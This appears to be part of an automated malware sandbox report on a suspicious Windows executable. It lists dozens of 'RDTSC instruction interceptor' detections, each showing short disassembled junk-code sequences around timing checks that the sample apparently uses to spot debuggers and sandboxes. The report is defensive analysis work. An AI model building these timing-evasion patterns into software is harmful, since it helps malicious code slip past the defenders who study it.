Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BF9221 second address: BF923E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007F62F943B883h 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BF923E second address: BF9248 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F62F8C4B19Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BF93B3 second address: BF93B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BF93B8 second address: BF93CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B19Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BF93CB second address: BF93E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B885h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA5338 second address: BA534F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F62F8C4B198h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jnp 00007F62F8C4B1A4h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA534F second address: BA5353 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BF9532 second address: BF9542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007F62F8C4B19Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C028FE second address: C02902 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C009E7 second address: C00A19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 jmp 00007F62F8C4B19Dh 0x0000000e pop edi 0x0000000f pushad 0x00000010 jmp 00007F62F8C4B1A6h 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C00B7A second address: C00B8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jl 00007F62F943B876h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C00B8D second address: C00B91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C00B91 second address: C00B9C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C00B9C second address: C00BC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 jo 00007F62F8C4B1CDh 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F62F8C4B1A9h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C01438 second address: C01448 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007F62F943B876h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C01448 second address: C01457 instructions: 0x00000000 rdtsc 0x00000002 js 00007F62F8C4B196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push ecx 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C0173C second address: C01746 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F62F943B876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C01A5C second address: C01A87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jne 00007F62F8C4B196h 0x0000000c popad 0x0000000d jmp 00007F62F8C4B1A7h 0x00000012 pop eax 0x00000013 push eax 0x00000014 push ecx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C01D79 second address: C01D7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C06707 second address: C0671F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F8C4B1A3h 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C069B1 second address: C069B6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C07246 second address: C0724A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C0724A second address: C07277 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F62F943B883h 0x0000000c jmp 00007F62F943B880h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C07277 second address: C0727D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C0EFC7 second address: C0EFCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C10745 second address: C1074B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C16847 second address: C16857 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F62F943B876h 0x00000008 je 00007F62F943B876h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C16CE9 second address: C16CF3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F62F8C4B196h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C16CF3 second address: C16D02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C16D02 second address: C16D06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C16D06 second address: C16D2A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F62F943B876h 0x00000008 jmp 00007F62F943B886h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C16D2A second address: C16D3A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F62F8C4B196h 0x00000008 jnl 00007F62F8C4B196h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C16D3A second address: C16D3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C16D3F second address: C16D56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007F62F8C4B196h 0x0000000c je 00007F62F8C4B196h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C16ED6 second address: C16EF9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F62F943B876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b jnp 00007F62F943B88Fh 0x00000011 pushad 0x00000012 jmp 00007F62F943B87Fh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C17047 second address: C17063 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F62F8C4B19Ah 0x0000000a pushad 0x0000000b jmp 00007F62F8C4B19Ah 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C171AB second address: C171B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C17B41 second address: C17B45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C17B45 second address: C17B4F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F62F943B876h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C17B4F second address: C17B5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C1A931 second address: C1A935 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C1A935 second address: C1A939 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C1A939 second address: C1A97C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F62F943B885h 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 popad 0x00000013 jnp 00007F62F943B885h 0x00000019 jmp 00007F62F943B87Dh 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 push eax 0x00000022 pushad 0x00000023 ja 00007F62F943B876h 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B530A1 second address: B530AB instructions: 0x00000000 rdtsc 0x00000002 jo 00007F62F8C4B196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B530AB second address: B530D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B87Dh 0x00000007 pushad 0x00000008 jmp 00007F62F943B883h 0x0000000d push edi 0x0000000e pop edi 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C1D69B second address: C1D6A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C1EBF8 second address: C1EBFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C23629 second address: C23640 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B19Eh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C23640 second address: C23657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F62F943B876h 0x0000000a jc 00007F62F943B876h 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C32CC8 second address: C32CCD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C34ECB second address: C34ED1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C34ED1 second address: C34ED7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C34ED7 second address: C34EEE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F62F943B87Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C34EEE second address: C34EF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C34EF2 second address: C34F0F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F62F943B883h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C349E8 second address: C349EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C349EC second address: C349F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C349F8 second address: C349FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C349FE second address: C34A16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B87Ah 0x00000007 jns 00007F62F943B876h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C34A16 second address: C34A25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F8C4B19Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C34B62 second address: C34B66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C34B66 second address: C34B6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C34B6A second address: C34B8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007F62F943B876h 0x0000000d jmp 00007F62F943B882h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C34B8B second address: C34BB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F62F8C4B1AAh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C34BB0 second address: C34BBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F62F943B876h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C34BBC second address: C34BDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F8C4B1A9h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C3D7F4 second address: C3D800 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C447F6 second address: C447FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C447FA second address: C44804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C4B83F second address: C4B867 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnp 00007F62F8C4B196h 0x00000009 pop ecx 0x0000000a push ebx 0x0000000b jbe 00007F62F8C4B196h 0x00000011 jno 00007F62F8C4B196h 0x00000017 pop ebx 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pushad 0x0000001b jg 00007F62F8C4B19Ah 0x00000021 pushad 0x00000022 popad 0x00000023 pushad 0x00000024 popad 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C4B867 second address: C4B86D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C4B86D second address: C4B88B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F8C4B1A5h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C4B88B second address: C4B88F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C4BBB0 second address: C4BBB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C4BBB5 second address: C4BBEC instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F62F943B87Ch 0x00000008 jno 00007F62F943B87Ch 0x0000000e pop edx 0x0000000f pop eax 0x00000010 ja 00007F62F943B891h 0x00000016 jmp 00007F62F943B881h 0x0000001b push eax 0x0000001c push edx 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C4BEAD second address: C4BEEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 jmp 00007F62F8C4B1A8h 0x0000000a jno 00007F62F8C4B196h 0x00000010 pop edx 0x00000011 push ecx 0x00000012 ja 00007F62F8C4B1AAh 0x00000018 jmp 00007F62F8C4B1A4h 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C4BEEF second address: C4BF04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F943B87Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C4C07D second address: C4C081 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C4C081 second address: C4C08B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C4C08B second address: C4C09F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F62F8C4B196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C4C09F second address: C4C0A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C4C0A3 second address: C4C0B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007F62F8C4B196h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C4C0B5 second address: C4C0D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B889h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C4C0D6 second address: C4C0DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C4C0DA second address: C4C0DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C509E5 second address: C509EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C509EB second address: C509EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C50654 second address: C5066A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 jmp 00007F62F8C4B19Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C5066A second address: C5066E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C5066E second address: C50674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C5B0EE second address: C5B0F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C61FB3 second address: C61FB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C61FB9 second address: C61FBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C61FBD second address: C61FD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B1A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: C5EE7C second address: C5EE86 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F62F943B876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
